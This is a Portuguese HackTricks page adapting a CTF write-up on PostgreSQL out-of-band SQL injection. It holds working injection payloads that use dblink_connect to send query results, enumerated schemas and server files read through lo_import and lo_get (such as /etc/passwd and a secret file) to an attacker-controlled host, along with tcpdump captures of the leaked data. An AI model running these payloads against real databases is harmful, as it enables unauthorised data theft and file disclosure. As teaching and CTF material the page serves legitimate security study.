mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 17:44:47 +00:00
175 lines
13 KiB
Markdown
175 lines
13 KiB
Markdown
# Exfiltração de dados com dblink/lo_import
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Participe do grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou do grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
|
|
|
</details>
|
|
|
|
**Este é um exemplo de como exfiltrar dados carregando arquivos no banco de dados com `lo_import` e exfiltrá-los usando `dblink_connect`.**
|
|
|
|
## Preparando o servidor de exfiltração/Injeção SQL Assíncrona
|
|
|
|
**Extraído de:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
|
|
|
Como o `pg_sleep` também não causa atraso, podemos assumir com segurança que a execução da consulta ocorre em segundo plano ou de forma assíncrona.
|
|
|
|
Normalmente, `dblink_connect` pode ser usado para abrir uma conexão persistente com um banco de dados PostgreSQL remoto (por exemplo, `SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`). Como podemos controlar o parâmetro desta função, podemos realizar um SQL Server Side Request Forgery para o nosso próprio host. Isso significa que podemos realizar uma Injeção SQL Out-of-Band para exfiltrar dados dos resultados de consultas SQL. Existem pelo menos duas maneiras de fazer isso:
|
|
|
|
1. Configurar um **servidor DNS** e, em seguida, acionar a conexão para `[data].our.domain` para que possamos ver os dados no log ou nos pacotes de rede DNS.
|
|
2. Configurar um **servidor PostgreSQL público, monitorar os pacotes de rede que chegam à porta do PostgreSQL**, e então acionar uma conexão para o nosso host com dados exfiltrados como `user`/`dbname`. Por **padrão**, o PostgreSQL não usa SSL para comunicação, então podemos ver `user`/`dbname` como um **texto simples** na rede.
|
|
|
|
O **segundo método é mais fácil** porque não precisamos de nenhum domínio. Precisamos apenas configurar um servidor com um IP público, instalar o PostgreSQL, configurar o serviço PostgreSQL para ouvir em \*/0.0.0.0 e executar um dumper de rede (por exemplo, tcpdump) para monitorar o tráfego para a porta do PostgreSQL (5432 por padrão).
|
|
|
|
Para configurar o PostgreSQL para que ele **escute publicamente**, defina `listen_addresses` em `postgresql.conf` para `*`.
|
|
```
|
|
listen_addresses = '*'
|
|
```
|
|
Para monitorar o tráfego de entrada, execute `tcpdump` para monitorar a porta 5432.
|
|
```
|
|
sudo tcpdump -nX -i eth0 port 5432
|
|
```
|
|
Para verificar se obtemos uma conexão do alvo, podemos tentar usar esta consulta:
|
|
```
|
|
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) --
|
|
```
|
|
Se bem-sucedido, obtemos um pedaço do pacote de rede com `user` e `dbname` legíveis.
|
|
```
|
|
17:14:11.267060 IP [54.185.163.254.50968] > [REDACTED]: Flags [P.], seq 1:43, ack 1, win 229, options [nop,nop,TS val 970078525 ecr 958693110], length 42
|
|
0x0000: 4500 005e 9417 4000 2706 248c 36b9 a3fe E..^..@.'.$.6...
|
|
0x0010: 9de6 2259 c718 2061 5889 142a 9f8a cb5d .."Y...aX..*...]
|
|
0x0020: 8018 00e5 1701 0000 0101 080a 39d2 393d ............9.9=
|
|
0x0030: 3924 7ef6 0000 002a 0003 0000 7573 6572 9$~....*....user
|
|
0x0040: 0066 6172 6973 7600 6461 7461 6261 7365 .farisv.database
|
|
0x0050: 0068 656c 6c6f 6672 6f6d 6662 0000 .hellofromfb.
|
|
```
|
|
Então, podemos **continuar a extrair o banco de dados usando várias consultas PostgreSQL**. Observe que para cada resultado de consulta que contém espaços em branco, precisamos converter o resultado para **hex/base64** com a função `encode` ou substituir o espaço em branco por outro caractere com a função `replace`, pois isso causará um erro de execução durante o processo `dblink_connect`.
|
|
|
|
Obter uma **lista** de **esquemas**:
|
|
```
|
|
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(schema_name,':') FROM information_schema.schemata) || ' password=postgres dbname=postgres')) --
|
|
```
|
|
|
|
```
|
|
17:36:46.538178 IP 54.185.163.254.51018 > [REDACTED]: Flags [P.], seq 1:70, ack 1, win 229, options [nop,nop,TS val 971433789 ecr 960048322], length 69
|
|
0x0000: 4500 0079 ecd5 4000 2706 cbb2 36b9 a3fe E..y..@.'...6...
|
|
0x0010: 9de6 2259 c74a 2061 1e74 4769 b404 803d .."Y.J.a.tGi...=
|
|
0x0020: 8018 00e5 2710 0000 0101 080a 39e6 e73d ....'.......9..=
|
|
0x0030: 3939 2cc2 0000 0045 0003 0000 7573 6572 99,....E....user
|
|
0x0040: 0070 7562 6c69 633a 696e 666f 726d 6174 .public:informat
|
|
0x0050: 696f 6e5f 7363 6865 6d61 3a70 675f 6361 ion_schema:pg_ca
|
|
0x0060: 7461 6c6f 6700 6461 7461 6261 7365 0070 talog.database.p
|
|
0x0070: 6f73 7467 7265 7300 00 ostgres.
|
|
```
|
|
Obtenha uma **lista** de **tabelas** no esquema atual:
|
|
```
|
|
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()) || ' password=postgres dbname=postgres')) --
|
|
```
|
|
|
|
```
|
|
17:38:30.515438 IP 54.185.163.254.51026 > [REDACTED]: Flags [P.], seq 1:42, ack 1, win 229, options [nop,nop,TS val 971537775 ecr 960152304], length 41
|
|
0x0000: 4500 005d f371 4000 2706 c532 36b9 a3fe E..].q@.'..26...
|
|
0x0010: 9de6 2259 c752 2061 8dd4 e226 24a3 a5c5 .."Y.R.a...&$...
|
|
0x0020: 8018 00e5 fe2b 0000 0101 080a 39e8 7d6f .....+......9.}o
|
|
0x0030: 393a c2f0 0000 0029 0003 0000 7573 6572 9:.....)....user
|
|
0x0040: 0073 6561 7263 6865 7300 6461 7461 6261 .searches.databa
|
|
0x0050: 7365 0070 6f73 7467 7265 7300 00 se.postgres.
|
|
```
|
|
**Conte** as **linhas** na tabela `searches`.
|
|
```
|
|
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) FROM searches) || ' password=postgres dbname=postgres')) --
|
|
```
|
|
|
|
```
|
|
17:42:39.511643 IP 54.185.163.254.51034 > [REDACTED]: Flags [P.], seq 1:35, ack 1, win 229, options [nop,nop,TS val 971786760 ecr 960401280], length 34
|
|
0x0000: 4500 0056 7982 4000 2706 3f29 36b9 a3fe E..Vy.@.'.?)6...
|
|
0x0010: 9de6 2259 c75a 2061 5ec0 7df0 8611 357d .."Y.Z.a^.}...5}
|
|
0x0020: 8018 00e5 f855 0000 0101 080a 39ec 4a08 .....U......9.J.
|
|
0x0030: 393e 8f80 0000 0022 0003 0000 7573 6572 9>....."....user
|
|
0x0040: 0030 0064 6174 6162 6173 6500 706f 7374 .0.database.post
|
|
0x0050: 6772 6573 0000 gres.
|
|
```
|
|
Parece que só tem uma tabela vazia no esquema atual e a flag não está no banco de dados. Podemos realmente precisar exfiltrar dados de `/var/lib/postgresql/data/secret`. Infelizmente, se tentarmos usar `pg_read_file` ou `pg_read_binary_file` para ler o arquivo, não obteremos uma conexão de entrada, de modo que o usuário atual pode não ter permissão para usar essas funções.
|
|
|
|
#### Mais informações sobre SQLInjection assíncrono com postdresql
|
|
|
|
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
|
|
|
## **Exfiltrando conteúdos de large object**
|
|
|
|
É possível ler arquivos usando large objects ([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html)). Podemos usar `lo_import` para carregar o conteúdo do arquivo no catálogo `pg_largeobject`. Se a consulta for bem-sucedida, obteremos o `oid` do objeto.
|
|
```
|
|
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || ' password=postgres dbname=postgres')) --
|
|
```
|
|
|
|
```
|
|
17:54:51.963925 IP 54.185.163.254.51046 > [REDACTED]: Flags [P.], seq 1:39, ack 1, win 229, options [nop,nop,TS val 972519214 ecr 961133706], length 38
|
|
0x0000: 4500 005a 071f 4000 2706 b188 36b9 a3fe E..Z..@.'...6...
|
|
0x0010: 9de6 2259 c766 2061 26fb c8a7 bbb3 fe01 .."Y.f.a&.......
|
|
0x0020: 8018 00e5 2272 0000 0101 080a 39f7 772e ...."r......9.w.
|
|
0x0030: 3949 bc8a 0000 0026 0003 0000 7573 6572 9I.....&....user
|
|
0x0040: 0032 3436 3638 0064 6174 6162 6173 6500 .24668.database.
|
|
0x0050: 706f 7374 6772 6573 0000 postgres..
|
|
```
|
|
Conseguimos 24668 como `oid`, o que significa que podemos usar a função `lo_import`. Infelizmente, não obteremos resultados se tentarmos obter o conteúdo do objeto grande usando `lo_get(24668)` ou acessar diretamente o catálogo `pg_largeobject`. **Parece que o usuário atual não tem permissão para ler o conteúdo de novos objetos.**
|
|
|
|
Após ler a documentação sobre objetos grandes no PostgreSQL, podemos descobrir que **objetos grandes podem ter ACL** (Lista de Controle de Acesso). Isso significa que, se houver um objeto antigo com uma ACL que permita ao usuário atual lê-lo, então podemos exfiltrar o conteúdo desse objeto.
|
|
|
|
Podemos obter uma lista de `oid` de objetos grandes disponíveis extraindo de `pg_largeobject_metadata`.
|
|
```
|
|
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --
|
|
```
|
|
|
|
```
|
|
18:06:57.172285 IP 54.185.163.254.51052 > [REDACTED]: Flags [.], seq 1:2897, ack 1, win 229, options [nop,nop,TS val 973244413 ecr 961858878], length 2896
|
|
0x0000: 4500 0b84 7adf 4000 2606 339e 36b9 a3fe E...z.@.&.3.6...
|
|
0x0010: 9de6 2259 c76c 2061 8d76 e934 10c9 3972 .."Y.l.a.v.4..9r
|
|
0x0020: 8010 00e5 a66d 0000 0101 080a 3a02 87fd .....m......:...
|
|
0x0030: 3954 cd3e 0000 1c94 0003 0000 7573 6572 9T.>........user
|
|
0x0040: 0031 3635 3731 3a31 3634 3339 3a31 3635 .16571:16439:165
|
|
0x0050: 3732 3a31 3634 3431 3a31 3634 3432 3a31 72:16441:16442:1
|
|
0x0060: 3733 3732 3a31 3634 3434 3a31 3634 3435 7372:16444:16445
|
|
0x0070: 3a31 3831 3534 3a31 3733 3830 3a31 3737 :18154:17380:177
|
|
0x0080: 3038 3a31 3635 3737 3a31 3634 3530 3a31 08:16577:16450:1
|
|
0x0090: 3634 3531 3a31 3634 3532 3a31 3634 3533 6451:16452:16453
|
|
|
|
.....
|
|
.....
|
|
.....
|
|
```
|
|
```markdown
|
|
Conseguimos uma série de `oid`s. Podemos tentar usar `lo_get` para carregar o conteúdo do objeto. Por exemplo, `lo_get(16439)` carregará o conteúdo de `/etc/passwd`. Como o resultado de `lo_gets` é `bytea`, precisamos convertê-lo para `UTF8` para que possa ser anexado na consulta.
|
|
|
|
Podemos tentar carregar alguns objetos com o menor `oid` para descobrir se o arquivo de flag foi carregado anteriormente. O objeto do arquivo de flag realmente existe com `oid` 16444. Não há espaços em branco na flag, então podemos exibi-la como está.
|
|
|
|
Para carregar a flag:
|
|
```
|
|
```
|
|
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_from(lo_get(16444), 'UTF8')) || ' password=postgres dbname=p
|
|
```
|
|
#### Mais informações sobre oid:
|
|
|
|
* [https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module](https://balsn.tw/ctf\_writeup/20190603-facebookctf/#hr\_admin\_module)
|
|
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Outras formas de apoiar o HackTricks:
|
|
|
|
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|